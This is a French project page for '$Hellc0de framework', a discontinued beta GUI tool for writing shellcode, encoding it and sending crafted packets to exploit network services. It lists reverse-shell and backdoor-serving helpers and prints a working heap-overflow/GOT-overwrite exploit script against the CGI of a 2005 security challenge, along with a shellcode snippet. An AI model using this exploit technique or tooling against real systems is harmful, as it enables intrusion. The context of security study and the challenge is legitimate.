Last update: 29/05/2007


EtatStoppé
Versionbeta
Mise à jour05/09/2005

Projet $hellc0de framework
"$Hellc0de framework" est un projet de plateforme permettant de rapidement développer des shellcodes et générer des paquets pour exploiter des failles sur des services réseaux.
Ce projet a été arrêté au stade de beta. Je l'ai laissé en ligne uniquement parce que certaines solutions du Challenge-SecuriTech 2005 reposent dessus.

Origine du projet
Le développement de petits exploits pour des serveurs distants demande un nombre assez conséquent de petits outils : L'assembleur pour compiler les shellcodes, un programme envoyant des paquets correctement formatés, un serveur telnet pour les shellcodes fonctionnant en reverse connect, un serveur web pour ceux du type URLDownloadToFile/WinExec, ...
Au final, nous obtennons une quantité impressionnante de petits outils, bouts de code, shellcodes spécifiques,... qui sont difficiles à gérer.
"$Hellc0de framework" est né du désir d'avoir un environnement plus simple qui permette de développer de tels exploits rapidement et surtout de capitaliser chaque recherche.
Description détaillée
"$Hellc0de framework" est un simple outil encapsulant dans une interface graphique :
  • Un assembleur (NASM)
  • Un interpréteur pour envoyer des paquets formatés à un serveur
  • Une gestion des fichiers shellcodes/formatage des paquets dans 2 arborescences
  • Une multitude de petits outils bien pratiques :
    • Serveur telnet pour les shell en reverse connect
    • Serveur de backdoors
    • Calculatrice pour les checksums de la fonction GetProcAddress de Metasploit
    • Extracteur pour convertir un shellcode entre les formes binaires, assembleur, tableau C, tableau PERL et tableau Javascript
    • Calculateur de taille de chunk pour l’algorithme Doug Lea
"$Hellc0de framework" n'intègre donc rien de révolutionnaire. Ce n'est pas un clickdrome à exploits comme Metasploit, mais juste un environnement facilitant et accélérant le développement d'exploits.
Version actuelle
Ce projet est actuellement une beta et restera a priori à ce stade. J'ai arrêté son développement car il était beaucoup trop ambitieux pour une seule personne, notamment sur la partie générateur de paquets.
De plus, il n'apporte presque rien par rapport à d'excellents outils comme Metasploit, reste infiniment moins puissant et plus buggé.
J'ai tout de même laissé cette version en ligne car certaines solutions du Challenge-SecuriTech 2005 reposent dessus.
Il est actuellement assez limité et comporte plusieurs bugs, mais aucune nouvelle release ne sera faite.
Installation
Plateforme
"$Hellc0de framework" est développé en C#. L'objectif est qu'il puisse à terme fonctionner sous Windows et Linux (via Mono). Cependant, l'implémentation des éléments graphiques de Mono étant encore en développement intensif, il ne fonctionne actuellement que sous Windows. A noter que vous devez bien entendu avoir installé le Framework .net
Procédure
$Hellc0de framework utilise quelques ressources externes qui ne sont pas dans l'archive pour éviter tout problème de copyright. La procédure d'installation est la suivante :
  • Télécharger l'archive "$Hellc0de framework" et décompressez la dans un répertoire quelconque: $Hellc0de framework
  • Récupérez la dernière version de NASM (http://sourceforge.net/project/showfiles.php?group_id=6208) et placez "nasm.exe" et "ndisasm.exe" dans le répertoire "build"
  • Pour le développement de shellcode sous Windows, je vous conseille d’utiliser les fonctions de Metasploit pour la récupération de l'adresse de kernel32 et l’implémentation de GetProcAddress. Téléchargez donc l’archive "Win32 Payload Dev kit" : http://www.metasploit.com/shellcode.html, puis extrayez le fichier win32_stage_api.asm et placez le dans le répertoire build sous le nom api.asm
En pratique...
Voici quelques exemples qui vous permettrons de rapidement prendre en main cet outil.
L'interface graphique
Lancez $Hellc0de framework. Vous devriez obtenir l'interface graphique suivante :
La fenêtre de gauche représente l'éditeur de texte.
Les deux arborescences de fichiers à droite sont respectivement les shellcodes et les fichiers sendata.
La structure prévue est d’avoir un premier niveau avec des répertoires et un second avec des fichiers.
Formation et envoi de paquets
Dans l'archive, la partie senddata contient déjà un répertoire "test", qui contient elle-même un fichier "google.txt". Double cliquez sur ce fichier pour l'éditer. Vous pouvez voir le pseudo langage de formatage de paquets :
TIMEOUT 0
CONNECT 66.102.9.99:80
SEND
{
	TEXT:1:GET / HTTP/1.0
	SPEC:2:EOLW
}
READLINEPATT </HTML>

DISCONNECT
	
Appuyez sur Ctrl-P pour faire apparaître la fenêtre d’envoi et pressez le bouton "start" L'interpréteur va envoyer le "GET / HTTP/1.0\r\n\r\n" puis lire des données jusqu'au pattern </HTML>" :
<===
x47x45x54x20x2fx20x48x54x54x50x2fx31x2ex30x0dx0ax0dx0a
GET / HTTP/1.0


<===

===>
HTTP/1.0 302 Found
Location: http://www.google.fr/cxfer?c=PREF%3D:TM%3D1125754301:S%3DAnP0QGSAhAYlxVc6&prev=/
Set-Cookie: PREF=ID=b04b576d0dcdfe05:CR=1:TM=11257...; domain=.google.com
Content-Type: text/html
Server: GWS/2.1
Content-Length: 214
Date: Sat, 03 Sep 2005 13:31:41 GMT
Connection: Keep-Alive


<HTML><HEAD><TITLE>302 Moved</TITLE></HEAD><BODY>
<H1>302 Moved</H1>
The document has moved
<A HREF="http://www.google.fr/cxfer?c=PREF%3D:TM%3D1125754301:S%3DAnP0QGSAhAYlxVc6&prev=/">here</A>.

</BODY></HTML>
===>
	
La compilation d'un shellcode
La partie shellcode contient également un élément qui est un des shellcodes utilisé dans la solution du niveau "Talk" du challenge SecuriTech. Double cliquez sur ce fichier pour l'éditer.
Remarquez la ligne "%include "api.asm"" qui fait appel aux fonctions de Metasploit
Appuyez sur Ctrl-B pour compiler ce shellcode
Appuyez sur Ctrl-Shift-B pour compiler ce shellcode avec un filtre. Une boite de dialogue vous permet de sélectionner alors un des deux filtres :
  • soit un maison
  • soit un basé sur le principe de celui de Metasploit
Entrez ensuite la liste de valeurs interdites : "0x0A 0x0D" par exemple.
Une fois compilé, le shellcode est stocké dans un fichier "sh.bin" dans le répertoire "build".
L'interpréteur formant les paquets remplacera la directive "SHELLCODE" par le contenu de ce fichier (voir ci-dessous).

Remarques:
  • Si le décodeur contient une de des valeurs interdites, un message d'erreur sera affiché et le shellcode ne sera pas compilé.
  • Vous pouvez ajouter votre propre décodeur. Il suffit de créer un fichier dans le répertoire "filter" contenant le code assembleur adéquat. Vous pouvez alors utiliser les constantes suivantes:
    • XORVALUE pour désigner la clé XOR
    • SHSIZE pour la taille du shellcode
    • SHSIZE2 pour la taille du shellcode divisée par 2
    • SHSIZE4 pour la taille du shellcode divisée par 4
Les commandes de l'interpréteur
Commandes générales
L'interpréteur formant les paquets accepte les directives suivantes :
TIMEOUT [VALEUR] Définit la valeur de timeout du recv de la connexion (en s.)
WAITRETURN Affiche une MessageBox et attends la validation de l’utilisateur
CONNECT [ADRESS IP]:[PORT] Se connecte sur le service définit par l’adresse et le port
DISCONNECT Se déconnecte du serveur
READLINEPATT [PATTERN] Lit des lignes sur la connexion jusqu'à ce que le pattern soit reconnu
READLINE Lit une ligne sur la connexion
SHELL Passe en mode shell : les lignes a envoyer sont saisies dans l’edit box en bas
SEND Forme et envoi un paquet.
Détail de la commande SEND
Les paquets a envoyer sont définis dans la commande SEND, au sein d'accolades :
SEND
{
    [FORMAT DU PAQUET]
}
		
Le paquet est envoyé lorsque l’interpréteur lit l’accolade fermante.

Le format du paquet est défini par une ou plusieurs lignes de la forme suivante : [TYPE]:[NUMBER]:[DATA]
Les différents types sont :
TEXT DATA est alors du texte à envoyer
Par exemple "TEXT:5:hello" permet l’envoi de "hellohellohellohellohello"
SPEC DATA peut être l’une des valeurs suivantes :
  • NOP : envoie des NOP
  • EOLW : envoie des \r\n
  • EOL :envoie des \n
  • JMPS [VAL] : Ajoute une instruction jump [VAL]
  • LENGTH : Remplace par le nombre d’octets entre les bornes START_LENGTH et END_LENGTH
  • SHELLCODE : remplace par le dernier shellcode compilé (contenu du fichier build\sh.bin)
HEXA DATA définie en hexa une suite d’octets à envoyer
Par exemple "HEXA:3:x90xcc" permet l’envoi de trois blocs formé d'un NOP et d'un INT 3
Un petit exemple valant tous les grands discours, voici le fichier permettant d'exploiter le CGI "sendreport" du Challenge-SecuriTech :
# Connexion au serveur
CONNECT 194.158.103.10:81
# Formatage du paquet
SEND
{
# Ajoute "GET /cgi-bin/sendreport HTTP/1.0\r\n"
	TEXT:1:GET /cgi-bin/sendreport HTTP/1.0
	SPEC:1:EOLW
# Ajoute "Content-Length: XXX\r\n\r\n" XXX sera remplacé par la longueur des données
	TEXT:1:Content-Length: 
	SPEC:1:LENGTH
	SPEC:2:EOLW
	# Le début des données
START_LENGTH
	# Le premier paramètre: "message=" suivi de 100 fois le caractère 'b'
	TEXT:1:message=
	TEXT:100:b

	# Le deuxième paramètre: "email=" suivi de 140 fois le caractère 'a',
	# puis des valeurs hexadécimal 0xa2, 0xaa, 0xaa, 0xaa
	TEXT:1:&email=
	TEXT:140:a
	HEXA:1:xa2xaaxaaxaa

	# De nouveau le deuxième paramètre: 
	TEXT:1:&email=
	# Adresse écrasée dans la GOT
	# @free-0xc
	# HEXA:1:x9cxa2x04x08
	# @fork-0xc
	HEXA:1:x78xa2x04x08
	# Jump address (@szEmail = 0x0804a4b0)
	HEXA:1:xc0xa4x04x08
	SPEC:2:NOP
	SPEC:1:JMPS 8
	SPEC:12:NOP
	# Rajoute le shellcode
	SPEC:1:SHELLCODE
	# Padding de 61 pour le shellcode lslr
	# HEXA:61:xaa
	# Padding de 27 pour le shellcode validnivo
	HEXA:27:xaa
END_LENGTH
}
READLINEDISC
		
Outils annexes
$Hellc0de framework intègre de plus un ensemble de petits outils bien pratiques :
Backdoors server
C'est un faux serveur web à utiliser conjointement avec des shellcodes type URLDownloadToFile/WinExec. L’utilisation est simple : sélectionnez une backdoor, entrez un port d’écoute et appuyez sur "start" pour lancer le serveur.
Telnet server
C'est un petit serveur telnet à utiliser conjointement avec des shellcodes type reverse connect. L’utilisation est simple : entrez un port d’écoute et appuyez sur "start" pour lancer le serveur. Entrez les commandes dans la text box. Les résultats seront affichés dans la partie supérieure.
Metasploit Checksum calculator
Ce petit outil permet de calculer la checksum des noms de fonctions pour la fonction GetProcAddress de Metasploit.
Par exemple, si vous voulez obtenir l’adresse de CreateProcessA dans votre shellcode :
Lancez l'outil de checksum et entrez "CreateProcessA" dans l’edit box. La checksum est calculée à chaque nouvelle lettre. A la fin, vous obtenez : " 16b3fe72"

Créez ensuite votre shellcode :
[BITS 32]

; Inclus les functions Metasploit
%include "api.asm"

; A ce niveau, grace aux functions Metasploit, on a:
; ebx = kernel32.dll base
; esi = LGetProcAddress
; edi = LoadLibraryA

    push ebx
    push 0x16b3fe72
    call esi

; A ce niveau eax == @CreateProcessA
		
Et voilà !
Shellcode extracter
Cet outil permet de convertir un shellcode entre les formes binaires, assembleur, tableau C, tableau PERL et tableau Javascript.
Cliquez sur File->Open as binary et sélectionnez le fichier build\sh.bin qui représente le shellcode compilé.
La partie gauche va alors afficher les octets du shellcode.
Sélectionnez le type de cette partie dans la liste déroulante en bas à gauche : "Raw shellcode", puis sélectionnez le format de destination : " C array".
Cliquez enfin sur Convertion->Convert now ! et vus obtiendrez dans la partie droite le tableau C correspondant.

Inversement, vous trouvez sur le net un shellcode sous forme de tableau C qui vous souhaiteriez étudier.
Copiez-Collez le tableau dans la partie gauche.
Sélectionnez le type : "C array", puis le format de destination : "Disassemble" et exécuter la conversion : Vous obtenez le code assembleur.
Doug Lea chunk size calculator
Ce petit outil permet de calculer la taille du chunk alloué à partir de la taille du buffer demandé pour l’algorithme Doug Lea utilisé sur dans la glibc sous Linux.
Ressources
Pour l'instant, seul le binaire est disponible : $Hellc0de framework
(Les sources n'apporteraient à mon sens pas beaucoup).
Une remarque/un bug ?
Pour les bugs, c'est "normal" ;). Comme aucune nouvelle version ne sera effectuée, il est inutile de me les remonter. En revanche, n'hésitez pas à me contacter si vous avez des questions/remarques: Benjamin CAILLAT